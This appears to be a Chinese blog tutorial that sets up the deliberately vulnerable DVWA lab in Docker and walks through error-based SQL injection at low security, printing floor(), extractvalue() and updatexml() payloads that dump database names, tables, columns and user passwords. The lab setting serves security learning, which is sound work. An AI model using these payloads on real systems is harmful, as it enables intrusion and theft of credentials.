2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa
docker下载dvwa镜像,报错型注入dvwa,low级
一,安装并配置docker
1,更新源,apt-get update && apt-get upgrade && apt-get clean
2,安装docker,apt-get install docker.io
3, 配置docker加速器,vim /etc/docker/daemon.json
{
"registry-mirrors": [
"https://dockerhub.azk8s.cn",
"https://reg-mirror.qiniu.com"
]
}
二、使用docker下载安装运行dvwa
1,搜索dvwa镜像,docker search dvwa
2,安装dvwa镜像,docker pull citizenstig/dvwa
3,查看确定下载完成,输入命令docker
images,确定有dvwa
4.运行dvwa,docker run -d –rm -p 8008:80 –name dvwa d9c7999da701
5,确定dvwa容器使用的端口被打开,netstat -ntulp |grep 8008
6,靶机访问127.0.0.1:8008确定可以访问
7,点击Create/Reset
Database创建好数据库,点击Login
8,用户名admin,密码password,访问正常,docker安装dvwa完成
三、使用报错型sql注入dvwa,low级别
1,访问靶机ip 192.168.190.134,登录dvwa
2,设置级别为low
3,选择SQL Injection,进入到sql注入页面,使用floor()报错函数进行注入,获取数据库版本信息
1' and 1=1 union select 1,(select 1 from
(select count(*),concat('~',(select version()),'~', floor(rand(0)*2)) as a from
information_schema.tables group by a)b)#
4,获取数据库表名
1' or 1=2 union select 1,(select 1 from
(select count(*),concat('~',(select database()),'~', floor(rand(0)*2)) as a
from information_schema.tables group by a)b)#
5,获取数据库的表,
1' or 1=2 union select 1,(select 1 from
(select count(*),concat('~',(select table_name from information_schema.tables
where table_schema='dvwa' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables
group by a)b)#
6,获取表中列名
1' or 1=2 union select 1,(select 1 from
(select count(*),concat('~',(select column_name from information_schema.columns
where table_name='users' limit 0,1),'~',floor(rand(0)*2)) as a from
information_schema.tables group by a)b)#
其他字段修改limit值一个个就可以爆出来就不例举了
7,根据之前获取的列名,发现敏感列user和password获取字段值
1' or 1=2 union select 1, (select 1 from
(select count(*),concat('~',(select concat(user,0x7e,password) from users limit
0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#
修改Limit值直到获取不到,就可以得到表中所有用户账户密码信息了
使用extractvalue报错函数
extractvalue():从目标XML中返回包含所查询值的字符串。
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
使用concat拼接,连接字符串为”~”,因为”~”不是路径符号,查询语句会报错,会将我们所需的信息返回出来
1'and extractvalue(1,concat(0x7e,(select concat(user,0x7e,password) from users limit 0,1),0x7e))#
updatexml()函数报错注入,类似extractvalue
语法:updatexml(xml_target,xpath_expr,new_xml)
updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。
简单来说就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
如:updatexml(<a><b><c>asd</c></b><e></e></a>,
'//b', <f>abc</f>),
运行结果:<a><f>abc</f><e></e></a>,
其中'//b'的斜杠表示不管b节点在哪一层都替换掉,而'/b'则是指在根目录下替换,
注入原理
updatexml()的xml_target和new_xml参数随便设定一个数,这里主要是利用报错返回信息。利用updatexml()获取数据的固定payload是:
or updatexml(1,concat('#',(select * from
(select ...) a)),0)
1'or
updatexml(1,concat('#',(database())),0)#
1'or updatexml(1,concat(0x7e,(select
group_concat(user,0x7e,password) from users limit 0,1)),0)#
完
2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa的更多相关文章
- 【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
- 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
- DVWA中low级的sql注入漏洞的简单复现
第一次成功复现一个简单漏洞,于是写下这篇随笔记录一下 首先我们来看dvwa中low级的sql注入的源码 源码文件路径如下图: 源码如下: <?php if(isset($_GET['Submit ...
- 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记
pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...
- SQL注入(dvwa环境)
首先登录DVWA主页: 1.修改安全级别为LOW级(第一次玩别打脸),如图中DVWA Security页面中. 2.进入SQL Injection页面,出错了.(心里想着这DVWA是官网下的不至于玩不 ...
- 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)
前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...
- docker 使用报错的相关问题
docker 创建本地主机实例Virtualbox 驱动报错,显示没有下载这个驱动 解决方案,下载virtuabox. https://www.cnblogs.com/effortday/p/1502 ...
随机推荐
- ES和zookeeper选取帮主之江湖秘闻
ES帮会 某日,ES帮会中决定选取老大统领帮会走向辉煌.大家七嘴八舌,讨论方案,场面一顿混乱.傻牛站起来大喊一声:谁比俺力气大,谁就当老大.(ES集群在启动时,选取集群master,按照nodeId进 ...
- Redis(六)复制
在分布式系统中为了解决单点问题,通常会把数据复制多个副本部署到其他机器,满足故障恢复和负载均衡等需求.Redis也是如此,它为我们提供了复制功能,实现了相同数据的多个Redis副本.复制功能是高可用R ...
- ARToolKit-unity
ARToolKit为开源的AR库,相对于高通和easyAr有几点特点: 1)开源 2)识别项目可以动态添加(详细在后) 3)识别文件可以本地生成 4)目前只能识别图片(目前为.jpg格式) 下边开始详 ...
- 透明度设置opacity
透明度设置opacity属性 示例 <!DOCTYPE html> <html> <head> <style> div { background-col ...
- 设计模式C++描述----15.策略(Strategy)模式
一. 举例说明 以前做了一个程序,程序的功能是评价几种加密算法时间,程序的使用操作不怎么变,变的是选用各种算法. 结构如下: Algorithm:抽象类,提供算法的公共接口. RSA_Algorith ...
- 第一篇:版本控制git之仓库管理
---恢复内容开始--- 再开始这个话题之前,让我想起了一件很痛苦的事情,在我大学写毕业论文的时候,我当时的文件是这样保存的 毕业论文_初稿.doc 毕业论文_修改1.doc 毕业论文_修改2.doc ...
- Vue中错误图片的处理
在一个Vue的PC项目中,要求给错误图片不要让它显示丑陋的图片,就要给图片写一个失败后的默认图片, 在这里写了两种方法, 第一种方法,也就是百度到的最多的代码,就是给一张图片一个默认值. 第二种问题, ...
- Java HashSet对txt文本内容去重(统计小说用过的字或字数)
Java HashSet对txt文本内容去重(统计小说用过的字或字数) 基本思路: 1.字节流读需要去重的txt文本.(展示demo为当前workspace下名为utf-8.txt的文本) 2.对读取 ...
- 你遇到了吗?Caused by: org.apache.hadoop.ipc.RemoteException(org.apache.hadoop.fs.FileAlreadyExistsException)
我在使用 Structured Streaming 的 ForeachWriter,写 HDFS 文件时,出现了这个异常 这个异常出现的原因是HDFS作为一个分布式文件系统,支持多线程读,但是不支持多 ...
- MIT线性代数:19.行列式和代数余子式